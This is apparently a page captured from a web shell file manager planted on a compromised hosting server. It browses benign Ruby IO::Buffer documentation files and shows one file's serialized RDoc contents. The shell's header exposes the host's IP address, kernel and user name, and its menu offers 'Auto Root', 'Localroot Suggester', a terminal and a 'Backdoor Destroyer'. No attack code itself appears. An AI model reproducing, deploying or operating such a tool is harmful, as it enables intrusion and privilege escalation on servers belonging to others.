Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.217.130
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby31 /
share /
ri /
system /
IO /
Buffer /
Delete
Unzip
Name
Size
Permission
Date
Action
AccessError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
AllocationError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
InvalidatedError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
LockedError
[ DIR ]
drwxr-xr-x
2026-05-01 04:23
%3c%3d%3e-i.ri
402
B
-rw-r--r--
2025-04-28 21:06
cdesc-Buffer.ri
5.07
KB
-rw-r--r--
2025-04-28 21:06
clear-i.ri
1.27
KB
-rw-r--r--
2025-04-28 21:06
copy-i.ri
2.23
KB
-rw-r--r--
2025-04-28 21:06
empty%3f-i.ri
606
B
-rw-r--r--
2025-04-28 21:06
external%3f-i.ri
235
B
-rw-r--r--
2025-04-28 21:06
for-c.ri
1.53
KB
-rw-r--r--
2025-04-28 21:06
free-i.ri
1.24
KB
-rw-r--r--
2025-04-28 21:06
get_string-i.ri
719
B
-rw-r--r--
2025-04-28 21:06
get_value-i.ri
1.87
KB
-rw-r--r--
2025-04-28 21:06
hexdump-i.ri
231
B
-rw-r--r--
2025-04-28 21:06
inspect-i.ri
231
B
-rw-r--r--
2025-04-28 21:06
internal%3f-i.ri
879
B
-rw-r--r--
2025-04-28 21:06
locked%3f-i.ri
770
B
-rw-r--r--
2025-04-28 21:06
locked-i.ri
1.26
KB
-rw-r--r--
2025-04-28 21:06
map-c.ri
1.59
KB
-rw-r--r--
2025-04-28 21:06
mapped%3f-i.ri
761
B
-rw-r--r--
2025-04-28 21:06
new-c.ri
1.27
KB
-rw-r--r--
2025-04-28 21:06
null%3f-i.ri
378
B
-rw-r--r--
2025-04-28 21:06
pread-i.ri
237
B
-rw-r--r--
2025-04-28 21:06
pwrite-i.ri
239
B
-rw-r--r--
2025-04-28 21:06
read-i.ri
231
B
-rw-r--r--
2025-04-28 21:06
readonly%3f-i.ri
235
B
-rw-r--r--
2025-04-28 21:06
resize-i.ri
972
B
-rw-r--r--
2025-04-28 21:06
set_string-i.ri
242
B
-rw-r--r--
2025-04-28 21:06
set_value-i.ri
1.23
KB
-rw-r--r--
2025-04-28 21:06
size-i.ri
439
B
-rw-r--r--
2025-04-28 21:06
slice-i.ri
1.53
KB
-rw-r--r--
2025-04-28 21:06
to_s-i.ri
582
B
-rw-r--r--
2025-04-28 21:06
transfer-i.ri
768
B
-rw-r--r--
2025-04-28 21:06
valid%3f-i.ri
473
B
-rw-r--r--
2025-04-28 21:06
write-i.ri
233
B
-rw-r--r--
2025-04-28 21:06
Save
Rename
U:RDoc::NormalClass[iI"Buffer:ETI"IO::Buffer;TI"Object;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[I"RIO::Buffer is a low-level efficient buffer for input/output. There are three ;TI"ways of using buffer:;To:RDoc::Markup::BlankLine o:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0;[o; ;[I"ICreate an empty buffer with ::new, fill it with data using #copy or ;TI"8#set_value, #set_string, get data with #get_string;;To;;0;[o; ;[I"MCreate a buffer mapped to some string with ::for, then it could be used ;TI"Pboth for reading with #get_string or #get_value, and writing (writing will ;TI"$change the source string, too);;To;;0;[o; ;[I"OCreate a buffer mapped to some file with ::map, then it could be used for ;TI"-reading and writing the underlying file.;T@o; ;[I"QInteraction with string and file memory is performed by efficient low-level ;TI" C mechanisms like `memcpy`.;T@o; ;[I"UThe class is meant to be an utility for implementing more high-level mechanisms ;TI"Slike Fiber::SchedulerInterface#io_read and Fiber::SchedulerInterface#io_write.;T@o; ;[I"<b>Examples of usage:</b>;T@o; ;[I"Empty buffer:;T@o:RDoc::Markup::Verbatim;[I">buffer = IO::Buffer.new(8) # create empty 8-byte buffer ;TI"# => ;TI"3# #<IO::Buffer 0x0000555f5d1a5c50+8 INTERNAL> ;TI"# ... ;TI"buffer ;TI"# => ;TI"2# <IO::Buffer 0x0000555f5d156ab0+8 INTERNAL> ;TI"+# 0x00000000 00 00 00 00 00 00 00 00 ;TI"abuffer.set_string('test', 2) # put there bytes of the "test" string, starting from offset 2 ;TI"# => 4 ;TI")buffer.get_string # get the result ;TI"!# => "\x00\x00test\x00\x00" ;T:@format0o; ;[I"\Buffer from string:;T@o;;[I"string = 'data' ;TI""buffer = IO::Buffer.for(str) ;TI"# => ;TI"0# #<IO::Buffer 0x00007f3f02be9b18+4 SLICE> ;TI"# ... ;TI"buffer ;TI"# => ;TI"0# #<IO::Buffer 0x00007f3f02be9b18+4 SLICE> ;TI"H# 0x00000000 64 61 74 61 data ;TI" ;TI"Abuffer.get_string(2) # read content starting from offset 2 ;TI"# => "ta" ;TI"Ibuffer.set_string('---', 1) # write content, starting from offset 1 ;TI"# => 3 ;TI"buffer ;TI"# => ;TI"0# #<IO::Buffer 0x00007f3f02be9b18+4 SLICE> ;TI"H# 0x00000000 64 2d 2d 2d d--- ;TI",string # original string changed, too ;TI"# => "d---" ;T;0o; ;[I"\Buffer from file:;T@o;;[I")File.write('test.txt', 'test data') ;TI"# => 9 ;TI"4buffer = IO::Buffer.map(File.open('test.txt')) ;TI"# => ;TI";# #<IO::Buffer 0x00007f3f0768c000+9 MAPPED IMMUTABLE> ;TI"# ... ;TI"Dbuffer.get_string(5, 2) # read 2 bytes, starting from offset 5 ;TI"# => "da" ;TI"4buffer.set_string('---', 1) # attempt to write ;TI"J# in `set_string': Buffer is not writable! (IO::Buffer::AccessError) ;TI" ;TI"-# To create writable file-mapped buffer ;TI"@# Open file for read-write, pass size, offset, and flags=0 ;TI"Cbuffer = IO::Buffer.map(File.open('test.txt', 'r+'), 9, 0, 0) ;TI"!buffer.set_string('---', 1) ;TI"# => 3 -- bytes written ;TI"File.read('test.txt') ;TI"# => "t--- data" ;T;0o; ;[I"M<b>The class is experimental and the interface is subject to change.</b>;T: @fileI"io_buffer.c;T:0@omit_headings_from_table_of_contents_below0;0;0[ [U:RDoc::Constant[i I"PAGE_SIZE;TI"IO::Buffer::PAGE_SIZE;T:public0o;;[ ;@w;0@w@cRDoc::NormalClass0U;[i I"DEFAULT_SIZE;TI"IO::Buffer::DEFAULT_SIZE;T;0o;;[ ;@w;0@w@@{0U;[i I" EXTERNAL;TI"IO::Buffer::EXTERNAL;T;0o;;[ ;@w;0@w@@{0U;[i I" INTERNAL;TI"IO::Buffer::INTERNAL;T;0o;;[ ;@w;0@w@@{0U;[i I"MAPPED;TI"IO::Buffer::MAPPED;T;0o;;[ ;@w;0@w@@{0U;[i I"LOCKED;TI"IO::Buffer::LOCKED;T;0o;;[ ;@w;0@w@@{0U;[i I"PRIVATE;TI"IO::Buffer::PRIVATE;T;0o;;[ ;@w;0@w@@{0U;[i I" READONLY;TI"IO::Buffer::READONLY;T;0o;;[ ;@w;0@w@@{0U;[i I"LITTLE_ENDIAN;TI"IO::Buffer::LITTLE_ENDIAN;T;0o;;[ ;@w;0@w@@{0U;[i I"BIG_ENDIAN;TI"IO::Buffer::BIG_ENDIAN;T;0o;;[ ;@w;0@w@@{0U;[i I"HOST_ENDIAN;TI"IO::Buffer::HOST_ENDIAN;T;0o;;[ ;@w;0@w@@{0U;[i I"NETWORK_ENDIAN;TI"IO::Buffer::NETWORK_ENDIAN;T;0o;;[ ;@w;0@w@@{0[[I"Comparable;To;;[ ;@w;0I"io_buffer.c;T[[I" class;T[[;[ [:protected[ [:private[[I"for;T@�[I"map;T@�[I"new;T@�[I" instance;T[[;[ [;[ [;[![I"<=>;T@�[I" clear;T@�[I" copy;T@�[I"empty?;T@�[I"external?;T@�[I" free;T@�[I"get_string;T@�[I"get_value;T@�[I"hexdump;T@�[I"inspect;T@�[I"internal?;T@�[I"locked;T@�[I"locked?;T@�[I"mapped?;T@�[I" null?;T@�[I" pread;T@�[I"pwrite;T@�[I" read;T@�[I"readonly?;T@�[I"resize;T@�[I"set_string;T@�[I"set_value;T@�[I" size;T@�[I" slice;T@�[I" to_s;T@�[I" transfer;T@�[I"valid?;T@�[I" write;T@�[ [U:RDoc::Context::Section[i 0o;;[ ;0;0[I"ext/io/console/console.c;TI"IO;T@{